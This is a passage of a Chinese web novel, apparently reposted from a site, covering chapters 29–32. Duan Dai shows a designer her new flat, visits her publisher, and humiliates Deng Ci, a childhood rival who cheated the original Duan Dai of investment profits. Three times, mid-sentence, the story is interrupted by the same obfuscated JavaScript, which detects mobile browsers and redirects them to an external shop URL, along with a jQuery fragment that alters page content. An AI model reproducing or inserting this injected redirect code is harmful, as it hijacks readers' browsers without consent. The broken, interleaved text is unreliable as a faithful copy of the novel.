段黛重新出现在毛坯房里,这次身边还多了个黎尚轩。他在室内沿着墙角慢慢走动着,抬头看着房子内的墙壁和天花板。对房子的大致情况有了了解之后,黎尚轩回头看着段黛,道:“这房子不错,位置和楼层都很好,户型也方正,设计起来不麻烦。” 段黛笑了笑:“那就好。” 黎尚轩站在平层的中央:“有什么初步的想法吗?比如卫生间需要挪动吗,墙要不要砸开这些?” 段黛思索了一番:“我只需要一个卧室,厨房要封闭式的,然后……” 以前住的房子太小,现在骤然买了面积大的房子,段黛竟有些无所适从。她试探性道:“或许我应该再弄一个衣帽间?这么一想以前化妆的时候也挺费劲的,最好有个梳妆台……有梳妆台的话好像也应该用一个房间存放各种化妆品之类的……” 说着说着段黛自己也不太确定了:“……我好像还没想好。” 虽然列了一个那么详细的excel,但还是有很多她根本没想到的东西。 黎尚轩笑了笑:“没事,这个不急。没有什么问题的话,明天我就会叫工人过来测量尺寸。具体的想法我们可以在之后的交流里慢慢沟通落实。如果你有看到喜欢的室内设计的图片、视频,也可以分享给我。” 段黛点了点头:“好。” 从房子里出来后,叮叮哐哐地装修声从四面八方传了出来,有电钻声有砸墙声,听着十分刺耳。虽说是现房,但楼盘比较新,现在大多是刚购买开始装修的时候。段黛眉心忽然一跳:“将来入住后我不会一直要听着装修声吧。” 黎尚轩笑道:“不用担心,你入住的时候其他户也都装修好了,肯定就不会像现在这样了。而且放在我们在室内的时候也没听到太明显的声音,说明这栋楼的隔音不错。” 段黛松了口气:“也是。” 进了电梯之后噪音小了许多,门关上后,两人并排站在电梯里相顾无言。直到显示屏上的数字跳到了一楼,电梯门重新打开,黎尚轩才开口道:“那个……” 段黛转头:“嗯?” 黎尚轩:“我们设计房子的时候会考虑到客户的一些生活习惯,比如东西习惯放哪,回家后需不需要换睡衣,在家时最常用的功能区是哪里……有了这些做参考,设计好后的新家也会更宜居一些。所以……” 他有些踌躇:“我可能需要去你现在住的地方看看,当然是在你方便的时候。你看……可以吗?” 29. 能不能别说这些矫情的话 新房子离临译社不算远,步行走过两条街就到了。在往那边走的时候路过一家水果店,段黛隐约记得上次庆功宴时众人都说喜欢荔枝,便想着进去买一些。 一些是……多少? 段黛粗略算了一下办公室的人数,最后大手一挥,直接买了一箱。店里提供送货服务,直接就能送到出版社那里去,倒也省的段黛亲自搬了。 在她溜达到出版社的办公楼时,荔枝恰好也同步到了办公室门口。于是一众编辑们看到段黛抱着个保温箱进了办公室,开口:“路过水果店顺便买了一些,大家来吃荔枝吧。” 众人瞪着那个被她放到办公室中央的箱子瞳孔地震。 “你管这叫……顺便?” 关月兰这几天倒是不忙,手里的几个选题大部分工作都做完了,剩下的也就是收集反馈信息之类的工作。她的电脑上打开了好几个文档,看上去是在筛选新选题的样子。 林若愚扒拉了一些荔枝过来,一边放到了她们的桌子中央一边和段黛打招呼:“段老师。” 关月兰站起身来伸了个懒腰:“怎么想着来出版社了?” 段黛微笑:“我买的房子在这附近,想着反正离得近,顺便过来看看吧。” 又是顺便。好一个顺便。 关月兰愣了一下:“房子已经买了?” 昨天晚上段黛才说她要买房,现在居然就已经买了? 段黛点了点头:“刚刚带设计师看了房子。” 关月兰大吃一惊:“我靠,你这也太速度了吧。在哪个小区?多大面积?多少层啊?” 段黛一一回答,关月兰面露羡慕神色:“真不错。” 段黛笑了笑:“等和设计师对接好工作之后,我就要出国了。先前我是不是还有个小镇地图放在出版社这?” “啊你说那个啊,我还以为你不要了呢,”关月兰掀开桌垫,下面压着一张似乎是浸了咖啡渍的牛皮纸,“我还是上午擦桌子的时候才发现的,要不然我都不记得这个地图居然放在这里了。” 段黛笑着接过:“能找到就好。” 这是当年原主在国外找到《经录》这本书顺便搜集资料时带回来的一张地图,后来导航越来越发达,地图就显得没什么用了。不过段黛这两天扒拉书的时候看到里面的地图插图,隐约觉得好像和那张小镇地图有些关系,所以就想着看能不能找到。 至于为什么这张地图会被压在垫子底下,段黛和关月兰都不记得到底是怎么回事了。 关月兰剥开荔枝,莹白的果肉汁水饱满,吃起来清甜可口。她把核收集到杯子里,又问:“你的房子在装修,你却要出国了?不盯着看没问题吗?” 段黛:“有设计师帮忙看着,问题不大。” 关月兰“啧”了一声:“全都交给设计师?你这心也太大了。” 段黛把地图收到包里,又问:“你们有什么想要我帮忙捎的东西吗?” “好像也没什么了吧……” 段黛看向正在迅速吃荔枝的林若愚:“小林有什么想要的东西吗?” “啊?我吗?”林若愚没想到居然还有自己,当即有些不好意思,“我……我想买本书……” “可以啊,什么书?” 林若愚更不好意思了:“就是那个……” 她把书名说出来后,关月兰倒吸一口冷气:“看不出来啊若愚,你好这一口?” 那是一本B.D.S.M相关的小说,出版之后在整个欧洲都风靡一时,段黛也有所耳闻。国内当然是不可能引进这种题材的,所以想看的话要么去网上找资源,要么就读英文原版的。 林若愚有些脸红,结结巴巴道:“要是不方便也没事……” 段黛对此倒是没有什么太大的反应:“听说是畅销书,应该挺好买的,我到时候看看。” 林若愚当即欢呼:“段老师你真好!” 从编辑部门出来时,对面版权部门的门恰好也打开了。看到从里面走出来的邓辞时,段黛的眉心又跳了跳。 “呀,段黛,好巧啊。”邓辞对着她露出了一个人畜无害的灿烂的笑容,仿佛他们之间的关系很亲密似的。 一起出来的人有些惊讶:“邓先生认识段老师啊?” 邓辞笑道:“我们从小一起长大的,可以说是青梅竹马呢。” “哎呀……” 段黛很想翻白眼,但还是忍住了。她转头和送出来的关月兰与林若愚道别,接着就走向了电梯。 邓辞紧跟其后:“我以为你会问我为什么会来出版社呢。” 邓辞在动画公司工作,日常负责日本动画的版权对接。有些动画是轻小说改编的,和出版社扯上关系是再正常不过的了。虽说临译社目前引进的日语作品多为文学艺术集,但说不定哪天也会开展日轻的业务。 段黛神色平淡:“我不好奇。” 邓辞:“……” 不过邓辞也没因此就住口了。他轻轻叹息一声:“看来你和编辑们的关系还很不错呢。我听说你之前还请她们吃饭了?没想到你这么会做人呢。以前段黛可是出了名的让编辑头疼呢。” 段黛淡淡地瞥了他一眼,并不说话。 “但是很奇怪啊,你刚刚和你的那些编辑说话……怎么感觉这么假呢?好像是在模仿什么正常人似的?”邓辞饶有兴致道,“那个实习生怎么对你笑的,你就也怎么对她笑。那个大编辑跟你说话什么语气,你就同样用什么语气……” 段黛按下电梯键,语气平淡:“你有病吧?” 邓辞看着在他们面前缓缓打开的电梯门:“说起来你再坐电梯不会害怕吗?” 段黛用一种奇怪的眼神看了他一眼,像是在说“我为什么要害怕”一样。她迈入电梯:“你要是不坐的话我就先关门了。” 说着她就按下了关门键。邓辞赶紧在门关闭前挤了进去:“我在网上刷到了那个视频,他们都说你是教科书级别的反应,一点害怕的感觉都没有。明明和你一起被关在电梯里的男的都懵了,但你一直镇定着,一个操作都没出错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499396|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 邓辞抱着手臂:“很奇怪啊,你都没有情绪的吗?” 他的嘴角微微上扬,故意把音节拖的很长。 “就好像——演的一样。” “叮——” 电梯到了一楼,门应声而开。段黛一边向外走着,一边平淡回应他:“你不会是想跟我探讨什么MBTI吧。” 邓辞微微叹息:“怎么会,我只是单纯的心疼你而已。原本我是觉得你不如原来的段黛讨喜呢,现在发现你比她聪明多了。你知道什么人值得结交什么人不值得浪费时间,该处理的人际关系做的也都很好。” “没有情绪其实只是你保护自己的外壳,因为不信任任何人,所以也不会在其他人面前暴露出自己的弱点。你面对所有人都是把自己武装好的,以便于应对随时都有可能出现的刀光剑影。” 他用怜悯的眼神看着段黛:“能成长成现在这样,你一定吃过很多苦吧?” “……” 段黛脚步一顿。半晌,她垂着头转过身来面对着他。邓辞心中窃喜,现在的“段黛”和过去的“段黛”根本就是两个截然不同的人,经过他不懈的努力和观察,总算摸清楚了现在的段黛的性格特点。 对于这种性格,只要把话说开了,表现出自己体谅她不为人知的痛苦,就一定能…… 他看向段黛的眼神愈发期待了。于是,就在他饱含关切情绪翻涌的注视下,段黛抬起了头,露出了一双透露着无语至极的眼睛。 “……” 哎? 还不等邓辞反应过来,段黛就开了口:“能不能不要说这些很矫情的东西,我听了怪恶心的。” 邓辞愣住了。 段黛伸手挡在眼睛前面,不让室外有些刺眼的阳光照到眼睛里:“你自以为是的说这么一大堆话看起来挺可笑的。你又懂了?无语。” 说着她转身继续往外走去。 邓辞赶紧追了上来,也不知是在嘴硬还是找补:“段黛你别装了,你是被我发现了自己的真面目所以装不下去了是不是?你可以试着信任我的,你看只有我发现了你这壳子里换了个芯子的事情,我是你在这个世界里唯一的队友……” 段黛重重叹了口气。她伸出手来,逼迫邓辞只能停在她面前一米外的位置。 “我最恶心那种擅自认为找到了我的软肋的人。你不会以为我听完你说那些屁话就能一秒破防感动地痛哭流涕吧?你当是演偶像剧呢?差不多得了,你这样挺难看的。” 邓辞的脸色难看了几分。 段黛又道:“你总这么追着我说话,是有什么事想说吗?有事找我就大大方方的发消息,别在这畏畏缩缩的,好像那个变态跟踪狂似的。” “啊,不对,”段黛想到了什么,又赶紧摆了摆手,“你本来就不是正常人,不然也不会上学的时候在背后造我黄谣了。” “那不是你的黄谣,那时候还不是你。” 邓辞深吸一口气,忽然笑了:“算了,不说这些了。我确实有些事情要找你。” 30. 我真的厌蠢 鉴于邓辞一直喋喋不休地跟在她身后,大有要跟着她一起回家的架势,段黛同意了他的提议,在路边找了一家咖啡厅进去。 邓辞从公文包里拿出了平板:“之前我和段黛其实也是有生意上的合作的。哦,是先前那个段黛。” 他打开一个界面,看着都加载出来之后便把平板支起来,让屏幕对着段黛。段黛粗略看了一眼,似乎是什么版权投资的界面。 邓辞将从前他与原主的合作娓娓道来:“你知道我是做动画引进的,因为工作自然也能提前接触一些消息,知道有哪些轻小说和漫画是会在国内登陆的。所以我可以选择其中几部进行投资。” 段黛:“那你投资不就行了。” 邓辞摇了摇头:“我也不可能全投了,只能选其中几部作品。而且投资太分散也赚不到什么大钱,我更倾向于把大部分钱投给一到两部作品。段黛,我是说在你之前的那个段黛,她虽然是做英语法语笔译的,但其实日语也不错。她会提前阅读这些即将上线的作品,推测哪些火爆的概率更大。所以每次投资前我会先问问她的意见,按照她的想法选择投资的作品。” 段黛手指点在屏幕上滑了滑:“那分成怎么算?” 邓辞:“我和她五五分。” 段黛语气不变:“那么你们赚多少了?” 邓辞叹了口气:“她的预测没那么准,我们赚的也不多,每次也就千八百的,最好一次也才一万多点。有一次甚至还赔了呢。” 段黛身体向后仰了仰,靠在椅子背上:“赚这么少还坚持费这么大功夫,趁早放弃得了。” 邓辞却道:“坚持下去总有回报的。你不是从林深撤出来了吗,难道不考虑一下再投资点别的什么?比起其他不太了解的领域,这个和你的关联应该还大一些吧?就算你看我不顺眼,难不成还看钱不顺眼吗?” 段黛定定地看着他。 邓辞见她不为所动,忍不住又想用激将法:“为什么不说话?你难道不会日语?虽然碰了巧了让你和段黛都是英法翻译,但实际上你不会日语?” 想了想他又一副恍然大悟的样子:“也是,原来的段黛就很擅长经商,但是你看起来完全没有商业头脑的样子……林深前途一片大好你居然退出来了……对了,你为什么离开林深啊,陈方烨竟然不做人到这种程度?” 说来也巧,段黛还真学过一段时间的日语。她以前经常看日漫,后来大学的时候选修课就学了日语。虽说不像英语法语学的那般精通,但是囫囵看个“生肉”还是没什么问题的。 她淡淡一笑:“激将法对我没用,我只是在想,你说的利润和我五五分到底是真是假。之前你们签合同了吗?我可没看到有什么相关的东西。” 邓辞有些心虚:“不知道你有没有和原来的段黛共享记忆,如果有的话你就知道我说的都是真的。” 段黛回忆了一下,原主的记忆确实和邓辞说的大差不差。但是段黛可不光是继承了记忆,她还是看过原书的人,所以知道邓辞从头到尾没有一句实话。 从邓辞找上原主合作开始,邓辞就算是攀上了一棵摇钱树了,赚的那叫一个盆满钵满。但每次他都装作赚的不多的样子,只分给原主一点零头,还假装高兴道:“阿黛,这次我们赚了三千块钱呢!” 原主也不知道具体投资是如何盈利的,再加上虽然投资周期长,但真正需要她的工作也就是看个十来本日语小说,不用几天就能完成了,所以乍一看好像报酬还挺丰厚的。 唯一一次赔本,还是因为邓辞投资的其中一部作品爆了雷。当时原主选出最有潜力的三本书,指着第二本道:“这本虽然好看,但原作者之前有辱华的嫌疑,真真假假的也没说清楚到底是不是确有其事。我感觉有风险,这本你就不要投了。” 结果邓辞没听,还是投了一些在那上面。好在他还是听了一点的,所以投的不多,才不至于赔的血本无归。 段黛“呵”了一声:“别以为我不知道你的那些小动作……” 她本想直接戳穿邓辞隐瞒真实收益的事的,但话出了口之后她又停住了。 单是让他失去一个摇钱树岂不是太便宜他了?况且会日语的人又不止她一个,邓辞已经从投资上得到了甜头,将来再去找别人合作也未可知。新找的人或许不像原主那样好糊弄,但顶多也就是让邓辞少赚一点罢了。 思及此,段黛收回了接下来即将说出的话,转而道:“你也是学过日语的,怎么还得求着我来参谋?你自己不会看吗?” “啊……那个……” 邓辞有些尴尬。不等他找出借口,段黛已经很耿直地打开了其中一本书了。一整页的日语看的她有些眼花,但稍微认真一点也还是能读懂什么意思的。段黛把平板转到他面前:“来,翻译。” “……啊?” 段黛改口:“让你直接翻译好像有点为难你了,这样吧,你就读出来就好,光读总行吧?” 她的语气不容辩驳,让邓辞不得不硬着头皮去看页面上的文字:“……” 他磕磕绊绊地读出了第一句话,头上已经冒出冷汗来了。段黛摆了摆手示意他停下:“读一句错一半,我到底在期待什么。” 邓辞尴尬地坐在椅子上:“我太久没……” 段黛可不会给他机会狡辩:“我其实和你们的情况差不多,也是选修课学了一点日语,后来也有好多年不看了。虽然现在再读不会像看汉语或者英语那样不需要思考,但仔细点还是知道是什么意思的,至少不至于连个音都读不对。你这让我想到一个以前看动画的时候了解到的一句台词。” “我要用片假名和你说话吗?” “啊,我要不本土化翻译一下吧。我要用汉语拼音和你说话吗?” 邓辞的双手死死地抓住自己的衣摆。他张口结舌,脸上涨的通红。段黛又在找了找,调出一个幼儿绘本出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518326|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“这回你再读读看呢?” 邓辞看着上面花里胡哨的小人,一句话也说不出。 “读啊,我总得知道知道你什么水平吧?” 段黛好像是在笑的,但那个嘴角的弧度看起来就是有些怪异,看起来没有和善只有核善。邓辞在她的注视下莫名地哆嗦了一下,仿佛回到了上学时被老师叫起来背课文但是脑子里一片空白的情形。 这种无形的压迫感让他不得不张开了嘴,磕磕巴巴地念出了幼稚的画面上仅有的两行字。 “……” 段黛把平板转了回来,缓缓吐出一口气。 邓辞坐在那里浑身僵硬冷汗直冒,好像一个正在站在老师面前看她当面批自己作业的学生,随时等待着审判的降临。 “这么简单的都不会?你重修呗。” 邓辞感觉自己变成了一尊雕塑,一动也不能动。 段黛翻了翻页面里大量的作品,一时不察,随口嘟囔了一句:“……厌蠢症犯了。” 邓辞像是被雷劈了一般,在她对面汗流浃背如坐针毡。他张了张嘴,却也不知道该辩驳什么。 当年他确实是和段黛一起选修的日语的,只不过他从来也没好好上过课,小组作业就去抱段黛的大腿。后来结课考试时监考比较松,他靠着作弊等手段总算是蒙混了过去。 他现在的工作其实对日语水平并没有什么要求,但到底是对接国外的,于是他靠着选修过日语的履历惊险地在最后的筛选中胜出,获得了这个岗位。他从来没觉得这门课没学好有什么不妥之处,反而还沾沾自喜,靠着段黛就能获得如今的成就。 段黛的语气毫无波澜,但说出来的话一句比一句扎人:“难怪我骂了你这么多回你还得求着我帮你参谋,要是不知道的还以为你是个M呢。” 邓辞急得面红耳赤,差点就要哭出来。然而段黛这时忽然抬眸看了他一眼,似笑非笑:“啊,就说了你这么几句,不会要哭了吧?” 邓辞:“……” 他吸了吸鼻子,竭力调整情绪,自暴自弃道:“现在你也知道我什么水平了,所以你帮吗?” 段黛耸了耸肩:“不是我不想帮你啊。我刚才就说了,我已经好几年没接触日语了,现在去读原版书也就是连蒙带猜了解个大概的意思,至于精不精彩能不能爆……这我是真没办法。” “……” “你也没必要非得找人参谋,一键机翻不就好了?” 段黛靠在椅子上,双指按在屏幕,不一会儿屏幕自动扫描,弹出了翻译的选项。段黛把平板转到两人都能看到的角度,示意他:“你看,只要这样——” 她按下了那个选项,原来的日文上立刻出现了中文,并且读起来还很流畅。 “就变成中文了。” 段黛把平板推到他面前,看着他的眼睛,幽幽开口:“科技发展了啊,翻译其实不用那么麻烦的。邓辞,时代变了。” 31. 我本优秀 邓辞像是鬼魂一样飘走了。 他实在忍受不了段黛用一种像是看傻子一样的眼神看着他。他可以允许段黛无视他、仇视他,甚至对他阴阳怪气冷嘲热讽,但他无法接受段黛拿他当傻|逼,就像是高高在上的人在看地上的蝼蚁。这是在把他从她的世界里排除掉,哪怕他硬是要挤进去,她也会笑着摆摆手说“你懂什么”。 邓辞根本不能接受。 一直到晚上睡觉的时候,他一闭上眼睛,脑子里就出现白天段黛轻声嘀咕的那一句“厌蠢症犯了”。他重复了好几遍睁眼再入睡的步骤,终于将这句话从脑子里赶出去了,却又冒出来了另一幕。 段黛用一种怜悯的眼神看着他,说:“大人,时代变了。” “啊啊啊啊啊——”邓辞猛地从床上坐了起来,捂着脑袋头痛欲裂,“为什么会变成这样?” 邓辞从小就嫉妒段黛。 他家和段黛家是对门,两家的家长关系还不错,于是和他同龄的段黛自然就成了比较的对象。 其实他的成绩和段黛也没有差很多,只不过段黛是稳稳当当的第一名,而他会在前十名里起伏不定。每次出成绩时,他最讨厌听到的就是妈妈说“段黛又考了第一名呀”。 在学校里,段黛也始终是最受欢迎的人,许多人都喜欢围着她转。哪怕有人来找邓辞说话,开口也是“听说你就住在段黛家对面”。 高考后,他的成绩其实可以去一个名气没那么大但也很厉害的学校,但他还是追着段黛贴着录取的下边线和她去了同一个学校。不同的是段黛去了本硕连读班,而他被调剂到一个名都没听说过的冷门专业。 后来他终于想办法通过转专业考试换到了一个比较体面的专业上来,却发现段黛已经和同学们研究各种各样的创训项目了。 段黛就像是压在他头上的一座山,其实也是触手可及的,但就是无法翻越。 而偏偏这个让他憎恶的根源对此完全不自知,每次都带着天真的笑容对他说:“阿辞,我们一起上学去吧。” 天知道他有多憎恨这种人畜无害的笑容。可段黛实在是太美好了,她会帮他解决各种麻烦,带他认识自己的结交的更优秀的朋友。当他别扭地表示感谢时,她会单纯道:“这都是朋友应该做的呀。” 得知“段黛”被换了芯子后,邓辞隐约有些兴奋。新来的“段黛”远没有过去那么天真善良,反而像是一条毒蛇。他一直都想戳破段黛温柔善良的假面,但原先的段黛是真的善良才让他只能无能狂怒。现在的段黛可就没那么完美了,他一直以来那种若有若无的“梦想”,似乎也要实现了。 可是新的段黛也只是性格上不一样而已,在主业翻译上她似乎比原来的段黛还要优秀。 还没等他把“段黛”拉下神坛,让他更加恐惧的事情却出现了。 优秀而不自知的“段黛”,变成了极有自知之明。 她终于发现了身边的他的愚蠢和差劲,然后毫不留情地嘲笑出声。新的段黛发现了她可以把邓辞踩在脚下这件事,虽然还没真正踩下去,但已经把他踹倒了。 邓辞坐在床上全身冰冷,最后竟是一夜未眠,第二天又不得不爬起来,一脸萎靡地去上班。 段黛倒是完全不知道自己就那么两句话能让邓辞难受的彻夜失眠。不过见过邓辞之后她也有了一些新的想法,或许除了英法文学之外,她也可以看看别的东西? 闲暇时段黛也喜欢看网文之类不那么深奥的东西,简单的快乐能够让她更好的放松。日本轻小说其实某种程度上算是从中国的网文里衍生出来的,看起来倒也能让人身心放松。 不然以后自己休息的时候试着看看日轻好了,如果能顺手翻译一下的话又是一笔收入…… 不过到底也只是在考虑,现在她一方面还有《经录》的翻译要忙,另一方面也要把房子之类的事情都收拾好。她检查了自己的各项证件打包带齐,为接下来的出国做着准备。 两天之后,黎尚轩敲响了段黛的家门。段黛打开门,就看到黎尚轩穿着一身正装站在她的门外,看着就给人一种很严肃的感觉。段黛从鞋柜里拿了一双拖鞋出来:“欢迎黎设计师。” 黎尚轩那天提出要看一看她现在住的地方,根据房子的情况来了解她的生活习惯,好对新房子进行更贴合段黛情况的设计。提前说是为了让段黛有所准备,可以把一些东西事先收起来。 进门之后黎尚轩一边换鞋一边道:“没有刻意收拾吧?” 黎尚轩那天说,可以提前做准备,但不需要对家里做大扫除,整个收拾地井井有条的更是完全没有必要,他要看的就是真实的生活状态,这样才有参考意义。段黛了解他的意思,只把内衣裤之类的私人物品收了起来,其他东西都保持原样。 她道:“按你说的,我连地都没拖。” 黎尚轩笑了笑:“那就行,不怕家里乱,就怕家里没有生活痕迹。” 段黛穿进来也有很长时间了,家里的物品陈列早就在她日复一日的宅家生活中变成了她更习惯的样子。换好拖鞋后黎尚轩站在客厅里,抱着手臂转头四处看了看,惊讶道:“你家的格局和我家差不多哎,也是这边是厨房,那边是卧室,还有个储物间……” 段黛:“因为我们住在同一个小区啊。” 黎尚轩:“……忘了,抱歉。” 黎尚轩拿出平板来,打开一个电子笔记的界面。接着他仔细地查看了客厅的每一个角落,在笔记上随手记了些什么。 他指着上下两层都摆满了东西的茶几道:“你平时用它是……” 段黛:“在这吃饭,我家没餐桌。然后就是放东西了。” 黎尚轩直起腰来:“你平时呆在客厅就是吃饭?” 段黛点头:“对。如果有餐桌的话,我觉得茶几对我来说其实挺没用的。” 黎尚轩在笔记上迅速又记了些东西,甚至还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528895|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画了个草图,接着又问:“你平时会经常招待朋友来吗?” 段黛:“不会。我不喜欢别人来我家。” 黎尚轩笑了,表示附和:“我也不喜欢别人来我家。” 段黛:“所以我觉得整个客厅都没用,新家我就想直接把客厅做成书房。” 黎尚轩点了点头,记了笔记之后道:“把客厅做成书房的家庭不在少数,甚至有人会把茶几和沙发都去掉,变成桌子和椅子,方便阅读之类的……” “啊……”段黛思索了一番,“沙发我还是比较需要的。其实有的时候我会抱着电脑瘫在沙发上写东西……” “抱着电脑在沙发上写东西,”黎尚轩重复了一下,“那么除了电脑,你会在手边放一些喝的或者零食之类的东西吗?还有就是……你是翻译,应该也需要拿着参考书?” 段黛这才想到:“哦对,我的茶几在那些时候其实也是要放一些乱七八糟的东西的。” 说完后她还有些苦恼:“原来茶几还是有用的啊……” “这个不用担心,”黎尚轩见多了这些情况,“有边几和床边桌这些产品,随用随推还不占地方,比较适合你这种情况。等硬装结束后可以再具体选择。” 段黛恍然大悟:“不愧是专业的。” 黎尚轩又问:“你说不喜欢家里来客人,那你可以确定家里一定不会出现待客需求吗?比如编辑上门什么的?” “嘶。” 段黛这才记起来,自己刚穿来不久,关月兰就找上门来的事情。仔细一想,责编和译者一起讨论新选题的情况也不是没有,再加上资料是辅助创作的,还是在家里讨论更方便一些。 于是她道:“还是有的,不过毕竟是讨论工作上的事情……” 黎尚轩接话:“和招待客人还是不一样的,是这个意思吧?” 段黛点头。 黎尚轩:“好的,我知道了。” 看过了客厅之后,黎尚轩又来了书房。看到里面把书架塞得满满当当已经放不下的书时他愣了一下,接着灵魂发问:“你的床呢?” 不怪黎尚轩发问,这个房间本来设计的就是卧室,但原主看这里比较合适,就把它当成书房用了,这点倒是和段黛不谋而合。如果她的房子也是这个格局,她也会把这里做成书房的。 至于床,自然是被塞到那个储物间里了。 段黛打开储物间的门,一米五的床把储物间几乎占满了,只剩下床尾到门口还有一点位置,刚刚好能打开门。这个小房间也是有外窗的,就在床头的位置。 黎尚轩看到后有些嘴角抽搐:“你这……这是睡在棺材里吗?” 他刚想问夏天冬天能受得了吗,一抬头才发现,墙上居然还装了台空调。 段黛坦诚道:“以前有两人合租的,会把储物间当临时卧室用。房东就干脆也在这装了台空调。” 黎尚轩:“……还真行啊。” 32. 我想要,我得到 黎尚轩关上了“卧室”的门,回到书房继续观察。他看着飘窗上用几本大部头和一块板子人为搭出来的一个小台子愣了一下:“这是什么?” 段黛:“老是坐着写或者躺着写会腰疼,有时候就得站着写。飘窗上地方不够放阅读架的,所以我又搭了个放书的地方。” 说起这个段黛就有些无奈。她在穿书之前最常用的是一张升降桌,这样她想坐就能坐想站就能站,缺点就是升降桌大多没有抽屉或柜子之类的东西,没有写字台的储物功能。 原主留下的这张写字台用起来还是挺香的,很多东西随手放到旁边的抽屉里就行。但后来当她习惯性地站起身,想要把书桌调高时,才意识到这不是升降桌。 难道就没有一张桌子可以集合写字台的厚重与升降桌的功能吗! 黎尚轩哭笑不得:“你是个天才吧?” 段黛叹息一声:“我知道升降桌更方便一些,但是总感觉写字台……怎么说呢,更有氛围感吗算是。当然主要也是有储物功能方便我随手放一些零碎的东西了,不至于每次都得去书架把书拿下来……” 黎尚轩把抽屉拉开,第一层放了两本字典,第二层是一些杂七杂八的资料,第三层则是各种各样的文具。除了一大堆碳素笔芯之外,他还看到了各式各样的打孔器。 黎尚轩:“……你怎么囤这么多打孔器?” 他点出七八只打孔钳来:“而且最多的还是这种?都没拆封?” 段黛瞥了一眼抽屉,当时自己在用了两次之后忽然觉得打孔器这个东西很趁手,于是就下单买了一堆。除了她拿来当武器的单孔打孔钳,她还买了六联孔的大打孔器和活页夹专用的小打孔器。不过她买的最多的还是打孔钳,毕竟武器属于消耗品,得多备一些。 段黛的眼神有些躲闪:“嗯……我觉得打孔器是我的幸运物……” 黎尚轩:“……” 要不是见过她拿着打孔器把流氓的嘴打出俩“酒窝”来,他就信了。 黎尚轩很识趣的没有把脑子里的猜测说出来,只是在笔记上记下了这些内容。 书架上的书是物理意义上塞得“满满当当”。架子比较宽,书分了前后两排放着的,并且是横着放的,从这一层的底板一直顶到上一层的底板。横排书和架子之间有些缝隙,这里又见缝插针地塞了几本,力求一点空间都不浪费。仔细看了一眼书脊上的文字,才发现不是英文的就是法文的,基本上看不懂。 见黎尚轩在研究她的书架,段黛解释:“我这么放是因为地方不够了,不是真的想这么放的,你看我的书都堆到地上去了……现在这样也是没办法,我找本书都很麻烦。” 黎尚轩点了点头,伸手摸了一下最高一排书架上的书,意外地居然没有摸到什么灰尘:“一般这种开放式的书架都挺容易落灰的,没想到你这里还挺干净的。” “嗯……我还挺喜欢每天拿着掸子把所有书架挨个扫一遍的,感觉很解压。” 黎尚轩抬头查看着每一个书架:“有考虑过换成那种书柜吗?带玻璃门的,能防落灰。” 段黛摇头:“虽然封闭式的比较实用,但我还是喜欢开放式的书架。落灰对我来说不算什么。” “也是,经常打扫的话不需要担心这些问题,”黎尚轩又在笔记上记了一些东西,“新书房估计能有一百平米,到时候放书就不至于像现在这么憋屈了。” 段黛呼出一口气,也有些期待:“是啊。” 看过了书房之后又来到“卧室”,那个宛如棺材一般的房间。窗台上摆了一堆东西,什么水杯充电器的都有。因为这屋没有床头柜,所以大概是让窗台代替床头柜的功能了。 这么一点地方不用一会儿就研究明白了,黎尚轩记好了东西之后就出来了。 重新回到客厅,两人进入了另一侧的小厨房,这的面积比方才那个储物间还小。 黎尚轩转身看了看:“平时做饭挺多的?” 段黛点头:“毕竟居家办公,我也不喜欢出门。” “那台面的高度就得注意一下了……” 厨房里的家电不多,只有寻常的锅具和一个微波炉。黎尚轩看了一眼洗菜洗碗用的水槽,问:“新家厨房有什么想添置的家电吗,比如高压锅之类的?” “有有有,这可太多了,”段黛扒拉手指数着,“除了微波炉之外还要高压锅、烤箱、空气炸锅、洗碗机……” 段黛一边说着黎尚轩一边写着,说着说着她想到的东西越来越多:“其实我还挺希望家里能有个咖啡角的,之前住的地方很小都没考虑过这个问题,现在好像也可以考虑安排上了哎。” 黎尚轩神色如常:“当然可以了。我之前接待的居家办公或者自由职业的客户,大多都希望在家里能有一个类似咖啡角的位置,一方面可以自己放松,另一方面会见比较重要的客人的时候也能排上用场。咖啡角也不止是可以放咖啡机,水吧零食柜的功能都可以整合进来,实用性还挺高的。” 段黛“噢”了一声,两掌一拍:“那就这么定了,还要有个咖啡角。” 剩下的也没多少了,黎尚轩又仔细看了一下卫生间,看到镜柜上摆放的一堆化妆品后又问了段黛平时化妆的情形,然后又详细做了一些笔记。 全都看过之后,黎尚轩在沙发上坐着,整理着他刚刚记下来的笔记,时不时地还会问一下段黛平时遇到的居住痛点。段黛瞥了一眼他的平板,上面有文字也有图画,看来记得东西还不少。 她倒了杯水递给黎尚轩:“聊了一下午了,喝点水润润嗓子吧。” 